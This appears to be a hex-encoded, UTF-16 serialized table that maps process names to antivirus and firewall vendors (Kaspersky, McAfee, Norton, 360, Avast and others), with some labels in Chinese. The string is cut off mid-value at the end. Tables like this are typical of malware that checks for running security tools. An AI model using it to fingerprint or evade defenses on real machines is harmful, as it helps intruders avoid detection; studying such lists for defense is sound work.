8F4067D26B0129530061007600500072006F00670072006500730073003A0053006F00700068006F0073004067D26B012353006F00700068006F007300550049003A0053006F00700068006F0073004067D26B012353006F00700068006F007300460053003A0053006F00700068006F0073004067D26B012B53006F00700068006F0073004800650061006C00740068003A0053006F00700068006F0073004067D26B013553006F00700068006F0073005300610066006500730074006F0072006500360034003A0053006F00700068006F0073004067D26B012B53006F00700068006F00730043006C00650061006E004D003A0053006F00700068006F0073004067D26B012566007300610076006700750069003A0046002D005300650063007500720065004067D26B01177600730073006500720076003A00D46B7972B568B75F0117720065006D007500700064003A008A712B736B53EB58011946006F0072007400690054007200610079003A00DE9854580117730061006600650064006F0067003A00895B6851D77201177000610072006D006F0072003A0028676C9A4B511F66012149007000610072006D006F0072002E006500780065003A0028676C9A4B511F66011D6200650069006B006500730061006E003A001D8DF358914E895B685101214B00530057006500620053006800690065006C0064003A00D191715C517FFE760123540072006F006A0061006E00480075006E007400650072003A0028676C9A0E734B620115470047003A00E85DFE76517F386E895B6851FE7601176100640061006D003A00FF7E709E895B6851BE7C757001114100530054003A00858DA77EE15D668B012361006E0061006E007700690064006700650074003A00A8580580895B6851134EB65B0121410056004B003A0041006E0074006900560069007200750073004B006900740000256100760067003A00410056004700200041006E00740069002D0056006900720075007300011F7300700069006400650072006E0074003A00440072002E00770065006200002B61007600670061007500720064003A0041007600690072006100200041006E00740069007600690072000021760073006D006F006E003A005A006F006E006500200041006C00610072006D0000156300700066003A0043006F006D006F0064006F0000316F007500740070006F00730074003A004F007500740070006F007300740020004600690072006500770061006C006C00001B7200660077006D00610069006E003A005E741F6632966B709958011B6B0070006600770074007200610079003A00D191715C517F56950121460059004600690072006500570061006C006C003A00CE98914E32966B70995801194D0050004D006F006E003A00AE5FB9703B4EA8523296A15F01137000660077003A002959517F32966B709958012942006100690064007500530064005300760063003A007E76A65E4067D26B2D000D67A152DB8F0B7A012B420061006900640075005300640054007200610079003A007E76A65E4067D26B2D005862D876DB8F0B7A012142006100690064007500530064003A007E76A65E4067D26B2D003B4E0B7A8F5E012D530061006600650044006F00670047007500610072006400430065006E007400650072003A00895B6851D772012F730061006600650064006F006700750070006400610074006500630065006E007400650072003A00895B6851D772012D730061006600650064006F00670067007500610072006400630065006E007400650072003A00895B6851D7720125530061006600650044006F00670053006900740065004900490053003A00895B6851D772011F530061006600650044006F00670054007200610079003A00895B6851D7720127530061006600650044006F006700530065007200760065007200550049003A00895B6851D772012144005F0053006100660065005F004D0061006E006100670065003A004400FE76011764005F006D0061006E006100670065003A004400FE76012F790075006E00730075006F005F006100670065006E0074005F0073006500720076006900630065003A00914E0195012D790075006E00730075006F005F006100670065006E0074005F006400610065006D006F006E003A00914E01950119480077007300500061006E0065006C003A00A4626B535E7901156800770073005F00750069003A00A4626B535E79010F6800770073003A00A4626B535E79011168007700730064003A00A4626B535E790117480069007000730054007200610079003A006B70D27E011B48006900700073004400610065006D006F006E003A006B70D27E0113770073006300740072006C003A006B70D27E0117750073007900730064006900610067003A006B70D27E012153005000480049004E0058003A0053005000480049004E00580032966B70995801236200640064006F0077006E006C006F0061006400650072003A007E76A65E6B53EB5801276200610069006400750061006E007300760078003A007E76A65E6B53EB582D003B4EDB8F0B7A012541007600610073007400550049003A0041007600610073007400210035003B4E0B7A8F5E011F65006D00650074005F006100670065006E0074003A0045004D0045005400002365006D00650074005F0073006500720076006900630065003A0045004D0045005400001D66006900720065007300760063003A004D0063004100660065006500001F660069007200650074007200610079003A004D0063004100660065006500001B6800690070007300760063003A004D0063004100660065006500001D6D006600650076007400700073003A004D006300410066006500650000236D006300610066006500650066006900720065003A004D0063004100660065006500001B7300630061006E00330032003A004D0063004100660065006500001B7300680073007400610074003A004D0063004100660065006500001F76007300740073006B006D00670072003A004D0063004100660065006500002765006E00670069006E0065007300650072007600650072003A004D0063004100660065006500001B6D006600650061006E006E003A004D0063004100660065006500001F6D0063007300630072006900700074003A004D006300410066006500650000217500700064006100740065007200750069003A004D0063004100660065006500001F750064006100740065007200750069003A004D0063004100660065006500001F6E0061007000720064006D00670072003A004D0063004100660065006500001D63006C00650061006E00750070003A004D0063004100660065006500001F63006D0064006100670065006E0074003A004D0063004100660065006500001D660072006D0069006E00730074003A004D0063004100660065006500002B6D0063007300630072006900700074005F0069006E007500730065003A004D0063004100660065006500001B6D00630074007200610079003A004D006300410066006500650000175F00610076007000330032003A006153F45DAF65FA5701175F00610076007000630063003A006153F45DAF65FA5701155F006100760070006D003A006153F45DAF65FA57011761004100760067004100700069003A00410056004700002D610063006B00770069006E00330032003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013361006C006500720074007300760063003A004E006F00720074006F006E00200041006E007400690056006900720075007300003361006C006F00670073006500720076003A004D00630041006600650065002000560069007200750073005300630061006E00003B61006E00740069002D00740072006F006A0061006E003A0041006E00740069002D00540072006F006A0061006E00200045006C00690074006500013B6100720072003A004100700070006C00690063006100740069006F006E0020005200650071007500650073007400200052006F00750074006500001F61007400670075006100720064003A0041006E0074006900560069007200002F6100740075007000640061007400650072003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D61007400770061007400630068003A004D0075007300740065006B00000F610075003A004E00530049005300002161007500700064006100740065003A00530079006D0061006E0074006500630000476100750074006F002D00700072006F0074006500630074002E006E0061007600380030007400720079003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013D6100750074006F0064006F0077006E003A0041006E00740069005600690072007500730020004100750074006F005500700064006100740065007200001F6100760063006F006E0073006F006C003A004D0063004100660065006500001761007600670063006300330032003A0041005600470000176100760067006300740072006C003A00410056004700001561007600670065006D0063003A0041005600470000156100760067007200730078003A00410056004700001761007600670073006500720076003A004100560047000019610076006700730065007200760039003A00410056004700001161007600670077003A004100560047000033610076006B0070006F0070003A00470020004400410054004100200053004F004600540057004100520045002000410047000035610076006B0073006500720076003A00470020004400410054004100200053004F00460054005700410052004500200041004700003B610076006B0073006500720076006900630065003A00470020004400410054004100200053004F004600540057004100520045002000410047000037610076006B007700630074006C0039003A00470020004400410054004100200053004F004600540057004100520045002000410047000045610076006C0074006D00610069006E003A00500061006E0064006100200053006F006600740077006100720065002000410070006C00690063006100740069006F006E00003B610076006E0074003A0048002B004200450044005600200044006100740065006E0074006500630068006E0069006B00200047006D00620048000035610076007000330032003A004B006100730070006500720073006B007900200041006E00740069002D00560069007200750073000135610076007000630063003A0020004B006100730070006500720073006B007900200041006E007400690056006900720075007300003B61007600700064006F007300330032003A0020004B006100730070006500720073006B007900200041006E00740069005600690072007500730000336100760070006D003A0020004B006100730070006500720073006B007900200041006E007400690056006900720075007300003961007600700074006300330032003A0020004B006100730070006500720073006B007900200041006E00740069005600690072007500730000376100760070007500700064003A0020004B006100730070006500720073006B007900200041006E007400690056006900720075007300001F61007600730079006E006D00670072003A004D0063004100660065006500001B61007600770069006E003A00200048002B00420045004400560000456200610072006700610069006E0073003A004500780061006300740020004100640076006500720074006900730069006E00670020005300700079005700610072006500001962006500610067006C0065003A0041007600610073007400001F62006C00610063006B0064003A0042006C00610063006B00490043004500002362006C00610063006B006900630065003A0042006C00610063006B00490043004500002162006C0069006E006B003A006D006900630072006F006D006500640069006100001B62006C00730073003A00430042006C0061007300740065007200002362006F006F0074007700610072006E003A00530079006D0061006E0074006500630000196200700063003A00470072006F006B0073007400650072000031620072006100730069006C003A004500780061006300740020004100640076006500720074006900730069006E0067000043630063006500760074006D00670072003A004E006F00720074006F006E00200049006E007400650072006E006500740020005300650063007500720069007400790000276300640070003A00430079006200650072004C0069006E006B00200043006F00720070002E0000336300660064003A004D006F007400690076006500200043006F006D006D0075006E00690063006100740069006F006E0073000031630066006700770069007A003A0020004E006F00720074006F006E00200041006E007400690056006900720075007300002963006C0061007700390035003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D63006C006100770039003500630066003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012B63006C00650061006E003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E012F63006C00650061006E00650072003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E013163006C00650061006E006500720033003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E012F63006C00650061006E00700063003A00770069006E0064006F0077007300416D136C6F8FF64E056E06742759085E01156300700064003A004D006300410066006500650000256300740072006C003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0121630076003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012364006500660061006C006500720074003A00530079006D0061006E0074006500630000276400650066007300630061006E006700750069003A00530079006D0061006E007400650063000033640065006600770061007400630068003A004E006F00720074006F006E00200041006E007400690076006900720075007300002764006F006F00720073003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01236400700066003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011F640070007000730032003A00500061006E0069006300570061007200650000276400730073006100670065006E0074003A00420072006F00640065007200620075006E006400002D6500630065006E00670069006E0065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D65006D00730077003A0041006C00730065007400200049006E006300002365006E0074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D650073007000770061007400630068003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013565007400680065007200650061006C003A0052006100740069006F006E0061006C0043006C006500610072004300610073006500002D6500780065002E0061007600780077003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01296500780070006500720074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D66002D00700072006F007400390035003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0121660061006D0065006800330032003A0046002D00530065006300750072006500011B66006100730074003A0020004600610073007400550073007200001D660063006800330032003A0046002D00530065006300750072006500011D660069006800330032003A0046002D005300650063007500720065000123660069006E00640076006900720075003A0046002D0053006500630075007200650001336600690072006500770061006C006C003A0041007300680061006D0070006F006F0053006F00660074007700610072006500001F66006E0072006200330032003A0046002D005300650063007500720065000143660070002D00770069006E003A00200046002D00500072006F007400200041006E00740069007600690072007500730020004F006E00440065006D0061006E006400011B66007300610061003A0046002D00530065006300750072006500011B66007300610076003A0046002D00530065006300750072006500011F6600730061007600330032003A0046002D00530065006300750072006500012B6600730061007600350033003000730074006200790062003A0046002D00530065006300750072006500012B6600730061007600350033003000770074006200790062003A0046002D00530065006300750072006500011F6600730061007600390035003A0046002D00530065006300750072006500011F6600730067006B00330032003A0046002D00530065006300750072006500011D660073006D00330032003A0046002D00530065006300750072006500011F660073006D006100330032003A0046002D00530065006300750072006500011F660073006D006200330032003A0046002D005300650063007500720065000129670062006D0065006E0075003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0117670075006100720064003A0065007700690064006F00001D6700750061007200640064006F0067003A0065007700690064006F000027680074006C006F0067003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F015D68007400700061007400630068003A00530069006C00690063006F006E00200049006E00740065006700720061007400650064002000530079007300740065006D007300200043006F00720070006F0072006100740069006F006E00002568007700700065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011F690061006D006100700070003A00530079006D0061006E007400650063000021690061006D0073006500720076003A00530079006D0061006E007400650063000023690061006D00730074006100740073003A00530079006D0061006E00740065006300002D690065006400720069007600650072003A002000550072006C0062006C0061007A0065002E0063006F006D000039690066006100630065003A00500061006E0064006100200041006E00740069007600690072007500730020004D006F00640075006C006500002569006E006600750073003A0049006E0066007500730020004400690061006C0065007200002B69006E006600770069006E003A004D007300760069006500770070006100720061007300690074006500002969006E007400640065006C003A0049006E00650074002000440065006C0069007600650072007900002969006E007400720065006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01296A0061006D006D00650072003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D6B0061007600700066003A004B00610070006500720073006B007900001D6B0061007A007A0061003A004B00610070006500720073006B007900002F6B00650065006E00760061006C00750065003A00450055004E00490056004500520053004500200049004E00430000356C00610075006E0063006800650072003A0049006E0074006500720063006F00720074002000530079007300740065006D00730000276C006400700072006F003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01416C0064007300630061006E003A00570069006E0064006F00770073002000540072006F006A0061006E007300200049006E00730070006500630074006F007200002D6C006F00630061006C006E00650074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D6C00750061006C006C003A00530079006D0061006E00740065006300001B6C007500610075003A00530079006D0061006E0074006500630000256C00750063006F006D007300650072007600650072003A004E006F00720074006F006E00001D6D0063006100670065006E0074003A004D0063004100660065006500001F6D0063006D006E00680064006C0072003A004D0063004100660065006500001B6D00630074006F006F006C003A004D0063004100660065006500001F6D0063007500700064006100740065003A004D0063004100660065006500001D6D006300760073007200740065003A004D0063004100660065006500001F6D00630076007300730068006C0064003A004D006300410066006500650000376D00660069006E00330032003A004D007900460072006500650049006E007400650072006E006500740055007000640061007400650000376D0066007700320065006E003A004D007900460072006500650049006E007400650072006E006500740055007000640061007400650000456D006600770065006E00670033002E00300032006400330030003A004D007900460072006500650049006E007400650072006E0065007400550070006400610074006500001F6D006700610076007200740063006C003A004D0063004100660065006500001D6D006700610076007200740065003A004D0063004100660065006500001B6D006700680074006D006C003A004D0063004100660065006500001D6D006700750069003A00420075006C006C0047007500610072006400002B6D0069006E0069006C006F0067003A005A006F006E00650020004C00610062007300200049006E006300001B6D006D006F0064003A0045007A0075006C00610049006E00630000296D006F0073007400610074003A005700750072006C0064004D00650064006900610049006E006300001F6D00700066006100670065006E0074003A004D006300410066006500650000236D007000660073006500720076006900630065003A004D0063004100660065006500001D6D007000660074007200610079003A004D0063004100660065006500005D6D007300630061006300680065003A0049006E00740065006700720061007400650064002000530065006100720063006800200054006500630068006E006F006C006F0067006900650073002000530070007900770061007200650000376D00730063006D0061006E003A004F0064007900730073006500750073004D00610072006B006500740069006E00670049006E00630000396D0073006D00670074003A0054006F00740061006C002000560065006C006F0063006900740079002000530070007900770061007200650000236D0073007600780064003A005700330032002F004400610074006F006D002D00410001296D00770061007400630068003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01276E00610076003A00520065007500740065007200730020004C0069006D00690074006500640000336E0061007600610070007300760063003A004E006F00720074006F006E00200041006E00740069005600690072007500730000336E0061007600610070007700330032003A004E006F00720074006F006E00200041006E007400690056006900720075007300002F6E00610076007700330032003A004E006F00720074006F006E00200041006E00740069007600690072007500730000196E0064006400330032003A00FA8B7F98C178D8763B531F7501336E0065006F00770061007400630068006C006F0067003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D6E00650074007500740069006C0073003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D6E006900730073006500720076003A004E006F00720074006F006E0000196E006900730075006D003A004E006F00720074006F006E0000196E006D00610069006E003A004E006F00720074006F006E0000336E006F006400330032003A004500530045005400200053006D0061007200740020005300650063007500720069007400790000556E006F00720074006F006E005F0069006E007400650072006E00650074005F0073006500630075005F0033002E0030005F003400300037003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D6E006F007400730074006100720074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01236E00700072006F0074006500630074003A00530079006D0061006E00740065006300001F6E007000730063006800650063006B003A004E006F00720074006F006E00001B6E00700073007300760063003A004E006F00720074006F006E0000256E007400720074007300630061006E003A008B8DBF52CD53C575D26B945E28750B7A8F5E01236E00750069003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01276F0074006600690078003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D6F007500740070006F007300740069006E007300740061006C006C003A004F007500740070006F00730074000015700061007400630068003A008B8DBF52D1798062012570006100760077003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0117700063007300630061006E003A008B8DBF52D1798062012B70006400730065007400750070003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F013B7000650072007300660077003A00540069006E007900200050006500720073006F006E0061006C0020004600690072006500770061006C006C000037700067006D006F006E006900740072003A00500072006F006D0075006C00470061007400650020005300700079005700610072006500002D700069006E0067007300630061006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012970006C006100740069006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012570006F007000330074007200610070003A00500043002D00630069006C006C0069006E00012F70006F00700072006F00780079003A004E006F00720074006F006E0041006E007400690056006900720075007300002B70006F0070007300630061006E003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F015170006F007700650072007300630061006E003A0049006E00740065006700720061007400650064002000530065006100720063006800200054006500630068006E006F006C006F006700690065007300002D7000700069006E0075007000640074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0127700070007400620063003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012B700070007600730074006F0070003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012F7000720069007A0065007300750072006600650072003A005000720069007A0065007300750072006600650072000019700072006D0074003A004F007000690053007400610074000019700072006D00760072003A004100640074006F006D0069000037700072006F0063006500730073006D006F006E00690074006F0072003A0053007900730069006E007400650072006E0061006C007300002B700072006F0070006F00720074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0123700072006F00740065006300740078003A00500072006F0074006500630074005800002570007300700066003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0127700075007200670065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0159710063006F006E0073006F006C0065003A004E006F00720074006F006E00200041006E0074006900560069007200750073002000510075006100720061006E00740069006E006500200043006F006E0073006F006C006500004171007300650072007600650072003A004E006F00720074006F006E00200049006E007400650072006E0065007400200053006500630075007200690074007900001F7200610070006100700070003A0042006C00610063006B00490043004500002372006200330032003A005200610070006900640042006C0061007300740065007200002572006300730079006E0063003A005000720069007A00650053007500720066006500720000217200650061006C006D006F006E003A005200650061006C006D006F006E00200000297200650073006300750065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0129720065007300630075006500330032003A006153F45DAF65FA57924E5480517F895B68515759C588012972007300680065006C006C003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0143720074007600730063006E00390035003A005200650061006C002D00740069006D00650020007600690072007500730020007300630061006E006E00650072002000013D720075006C00610075006E00630068003A004D006300410066006500650020005500730065007200200049006E0074006500720066006100630065000027720075006E003300320064006C006C003A00500041004C002000500043002000530070007900003173006100660065007700650062003A005000530061006600650020005400650063006E006F006C006F00670069006100002F7300620073006500720076003A004E006F00720074006F006E00200041006E007400690076006900720075007300001B7300630072007300630061006E003A003300360030004067D26B012F7300660063003A00530079007300740065006D002000660069006C006500200063006800650063006B0065007200002F730068003A004D004B005300200054006F006F006C006B0069007400200066006F0072002000570069006E0033000059730068006F00770062006500680069006E0064003A004D006900630072006F0053006D006100720074007300200045006E0074006500720070007200690073006500200043006F006D0070006F006E0065006E0074002000002973006F00610070003A00530079007300740065006D00200053006F00610070002000500072006F00002573006F00660069003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012773007000650072006D003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012F73007500700070006F00720074006500720035003A006500530063006F0072006300680065007200CD53C575D26B0129730079006D00700072006F00780079007300760063003A00530079006D0061006E007400650063000021730079006D0074007200610079003A00530079006D0061006E007400650063000025740062007300630061006E003A005400680075006E006400650072004200590054004500001D740063003A00540069006D006500430061006C0065006E0064006500002374006900740061006E0069006E003A0054006900740061006E0048006900640065000027740076006D0064003A0054006F00740061006C002000560065006C006F006300690074007900002B7400760074006D0064003A00200054006F00740061006C002000560065006C006F006300690074007900001D76006500740074007200610079003A00650054007200750073007400002D7600690072002D00680065006C0070003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D76006E007000630033003000300030003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D760070006300330032003A00530079006D0061006E00740065006300001D760070006300340032003A00530079006D0061006E00740065006300001F760073006800770069006E00330032003A004D0063004100660065006500001B760073006D00610069006E003A004D0063004100660065006500001B7600730073007400610074003A004D0063004100660065006500002D7700660069006E0064007600330032003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01217A006100700072006F003A005A006F006E006500200041006C00610072006D0000297A006F006E00650061006C00610072006D003A005A006F006E006500200041006C00610072006D00001D4100560050004D003A004B006100730070006500720073006B00790000374100320043004D0044003A0045006D007300690073006F0066007400200041006E00740069002D004D0061006C00770061007200650001314100320053004500520056004900430045003A0061002D00730071007500610072006500640020006600720065006500012B4100320046005200450045003A0061002D00730071007500610072006500640020004600720065006500012F410044005600430048004B003A004E006F00720074006F006E00200041006E00740069005600690072007500730000114100470042003A00895B29593296BF7E012941004800500052004F0043004D004F004E005300450052005600450052003A00895B29593296BF7E012B41004900520044004500460045004E00530045003A0041006900720044006500660065006E0073006500003341004C004500520054005300560043003A004E006F00720074006F006E00200041006E0074006900560069007200750073000017410056004900520041003A000F5CA27E1E4F4067D26B013741004D004F004E003A00540069006E007900200050006500720073006F006E0061006C0020004600690072006500770061006C006C00000F410056005A003A00410056005A00002B41004E00540049005600490052003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011B41005000560058004400570049004E003A008A712B736B53EB58011D4100530048004D0041004900530056003A0041006C00770069006C00003141005300480053004500520056003A0041007600610073007400200041006E00740069002D00760069007200750073000137410053004800530049004D0050004C003A004100560041005300540021005600690072007500730043006C00650061006E0065007200001D410053004800570045004200530056003A0041007600610073007400001D410053005700550050004400530056003A0041007600610073007400001B4100530057005300430041004E003A0041007600610073007400001941005600430049004D0041004E003A008A712B736B53EB58011F4100560043004F004E0053004F004C003A004D0063004100660065006500001B4100560045004E00470049004E0045003A008A712B736B53EB58014B4100560045005300560043003A0041007600690072006100200041006E007400690056006900720020005300650063007500720069007400790020005300650072007600690063006500002B41005600450056004C00330032003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011341005600470041004D003A004100560047000013410056004700430043003A004100560047000019410056004700430048005300560058003A004100560047000019410056004700430053005200560058003A0041005600470000154100560047004E00530058003A00410056004700001741005600470043004300330032003A0041005600470000174100560047004300540052004C003A00410056004700001541005600470045004D0043003A004100560047000019410056004700460057005300520056003A0041005600470000194100560047004E0054004D00470052003A00410056004700001741005600470053004500520056003A00410056004700001741005600470054005200410059003A004100560047000019410056004700550050005300560043003A0041005600470000514100560049004E00490054004E0054003A0043006F006D006D0061006E006400200041006E007400690056006900720075007300200066006F00720020004E0054002000530065007200760065007200001F410056005000430043003A004B006100730070006500720073006B0079000033410056005300450052005600450052003A004B006500720069006F0020004D00610069006C0053006500720076006500720000214100560053004300480045004400330032003A0048002B004200450044005600001F41005600530059004E004D00470052003A004D0063004100660065006500001F410056005700550050005300520056003A0048002B0042004500440056000037420044005300570049005400430048003A0042006900740044006500660065006E0064006500720020004D006F00640075006C006500001F42004C00410043004B0044003A0042006C00610063006B004900430045000023430043004500560054004D00470052003A00530079006D0061006E0074006500630000154300460050003A0043004F004D004F0044004F00003143004C0041004D00570049004E003A0043006C0061006D00570069006E00200050006F0072007400610062006C00650000274300550052004500490054003A004400720057006500620020004300750072006500490054000033440045004600570041005400430048003A004E006F00720074006F006E00200041006E007400690076006900720075007300001F4400520057004100440049004E0053003A00440072002E005700650062000019440052005700450042003A00440072002E00570065006200003B44004500460045004E004400450052004400410045004D004F004E003A0053006800610064006F00770044006500660065006E00640065007200003D45005700490044004F004300540052004C003A0045007700690064006F00200053006500630075007200690074007900200053007500690074006500005D45005A0041004E00540049005600490052005500530052004500470049005300540052004100540049004F004E0043004800450043004B003A0065002D0054007200750073007400200041006E00740069007600690072007500730001334600490052004500570041004C004C003A0041007300680061006D0070006F006F0053006F0066007400770061007200650000354600500052004F00540054005200410059003A0046002D00500052004F005400200041006E007400690076006900720075007300011B46005000570049004E003A0056006500720069007A006F006E0000214600520045005300480043004C0041004D003A0043006C0061006D0041005600001F4600530041005600330032003A0046002D00530065006300750072006500012146005300420057005300590053003A0046002D00730065006300750072006500011F4600530044004600570044003A0046002D00530065006300750072006500011F4600530047004B00330032003A0046002D0053006500630075007200650001234600530047004B0033003200530054003A0046002D00530065006300750072006500011F460053004D004100330032003A0046002D00530065006300750072006500011F460053004D004200330032003A0046002D00530065006300750072006500011F4600530053004D00330032003A0046002D00530065006300750072006500011B470055004100520044004700550049003A00517F386EDD4F5695011D470055004100520044004E0054003A0049004B004100520055005300001F490041004D004100500050003A00530079006D0061006E00740065006300001B49004E004F004300490054003A00650054007200750073007400001B49004E004F005200500043003A00650054007200750073007400001949004E004F00520054003A00650054007200750073007400001D49004E004F005400410053004B003A00650054007200750073007400001F49004E004F005500500054004E0047003A006500540072007500730074000019490053004100460045003A00650054007200750073007400001B4B00410056003A004B006100730070006500720073006B007900001F4B00410056004D004D003A004B006100730070006500720073006B007900001F4B0041005600500046003A004B006100730070006500720073006B00790000214B00410056005000460057003A004B006100730070006500720073006B00790000254B0041005600530054004100520054003A004B006100730070006500720073006B00790000214B00410056005300560043003A004B006100730070006500720073006B00790000254B0041005600530056004300550049003A004B006100730070006500720073006B007900001B4B004D00410049004C004D004F004E003A00D191715CD26B3897011D4D0043004100470045004E0054003A004D0063004100660065006500001F4D0043004D004E00480044004C0052003A004D0063004100660065006500001F4D004300520045004700570049005A003A004D0063004100660065006500001F4D0043005500500044004100540045003A004D0063004100660065006500001F4D00430056005300530048004C0044003A004D006300410066006500650000254D0049004E0049004C004F0047003A005A006F006E006500200041006C00610072006D00001F4D0059004100470054005300560043003A004D0063004100660065006500001F4D0059004100470054005400520059003A004D0063004100660065006500001F4E0041005600410050005300560043003A004E006F00720074006F006E00001F4E0041005600410050005700330032003A004E006F00720074006F006E00001D4E00410056004C005500330032003A004E006F00720074006F006E00002F4E00410056005700330032003A004E006F00720074006F006E00200041006E00740069007600690072007500730000294E0045004F00570041005400430048004C004F0047003A004E0065006F0057006100740063006800002B4E0045004F005700410054004300480054005200410059003A004E0065006F0057006100740063006800001D4E004900530053004500520056003A004E006F00720074006F006E0000194E004900530055004D003A004E006F00720074006F006E0000194E004D00410049004E003A004E006F00720074006F006E0000214E004F004400330032003A00450053004500540020004E004F0044003300320000254E00500046004D00530047003A004E006F0072006D0061006E002A4EBA4E32966B70995801234E00500052004F0054004500430054003A00530079006D0061006E00740065006300001B4E0053004D004400540052003A004E006F00720074006F006E00001B4E005400520054005300430041004E003A008B8DBF52D1798062012D4F00460043005000460057005300560043003A004F00660066006900630065005300630061006E004E005400002D4F004E004C0049004E0045004E0054003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012F4F0050005F004D004F004E003A0020004F007500740070006F00730074004600690072006500770061006C006C00001B500041005600460049005200450053003A008A712B736B53EB58011B50004100560046004E005300560052003A008A712B736B53EB5801175000410056004B00520045003A008A712B736B53EB580119500041005600500052004F0054003A008A712B736B53EB58011B500041005600500052004F00580059003A008A712B736B53EB58011B500041005600500052005300520056003A008A712B736B53EB58011B500041005600530052005600350031003A008A712B736B53EB580115500041005600530053003A008A712B736B53EB580125500043004300470055004900440045003A00500043002D00630069006C006C0069006E00012550004300430049004F004D004F004E003A00500043002D00630069006C006C0069006E0001255000430043004E0054004D004F004E003A00500043002D00630069006C006C0069006E0001175000430043005000460057003A008B8DBF52D1798062011B50004300430054004C0043004F004D003A008B8DBF52D17980620131500043005400410056003A0050004300200054006F006F006C007300200041006E007400690056006900720075007300003B5000450052005300460057003A00540069006E007900200050006500720073006F006E0061006C0020004600690072006500770061006C006C0000295000450052005600410043003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0123500045005300540050004100540052004F004C003A0049006B006100720075007300001950005200450056005300520056003A008A712B736B53EB580141520054005600530043004E00390035003A005200650061006C002D00740069006D00650020005600690072007500730020005300630061006E006E00650072000127530041005600410044004D0049004E0053004500520056004900430045003A0053004100560000175300410056004D00410049004E003A0053004100560000175300410056005300430041004E003A00530041005600002B53004400480045004C0050003A005300700079007700610072006500200044006F00630074006F007200001B5300480053005400410054003A004D00630041006600650065000023530050004200420043005300560043003A00530079006D0061006E007400650063000021530050004900440045005200430050004C003A00440072002E00570065006200001F5300500049004400450052004D004C003A00440072002E00570065006200001F530050004900440045005200550049003A00440072002E00570065006200002153005000590042004F005400530044003A0053007000790062006F00740020000023530057004100470045004E0054003A0053006F006E0069006300570041004C004C0000255300570044004F00430054004F0052003A0053006F006E0069006300570041004C004C00001F530057004E00450054005300550050003A0053006F00700068006F0073000023530059004D004C0043005300560043003A00530079006D0061006E007400650063000029530059004D00500052004F00580059005300560043003A00530079006D0061006E007400650063000025530059004D00530050004F00520054003A005300790073006D0061006E007400650063000021530059004D005700530043003A005300790073006D0061006E007400650063000021530059004E004D00470052003A005300790073006D0061006E00740065006300001B54004D004C0049005300540045004E003A008B8DBF52D1798062011954004D004E0054005300520056003A008B8DBF52D1798062011954004D00500052004F00580059003A008B8DBF52D1798062012554004E0042005500540049004C003A0041006E00740069002D0056006900720075007300012D56004200410033003200450043004D003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D560042004100330032004900460053003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D560042004100330032005000500033003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01255600430052004D004F004E003A0056006900720075007300430068006100730065007200001B560052004D004F004E004E0054003A0048004100550052004900001D560052004D004F004E005300560043003A0048004100550052004900001F560053004800570049004E00330032003A004D0063004100660065006500001B5600530053005400410054003A004D00630041006600650065000029580043004F004D004D005300560052003A0042006900740044006500660065006E0064006500720000295A004F004E00450041004C00410052004D003A005A006F006E006500200041006C00610072006D000017330036003000720070003A003300360030004067D26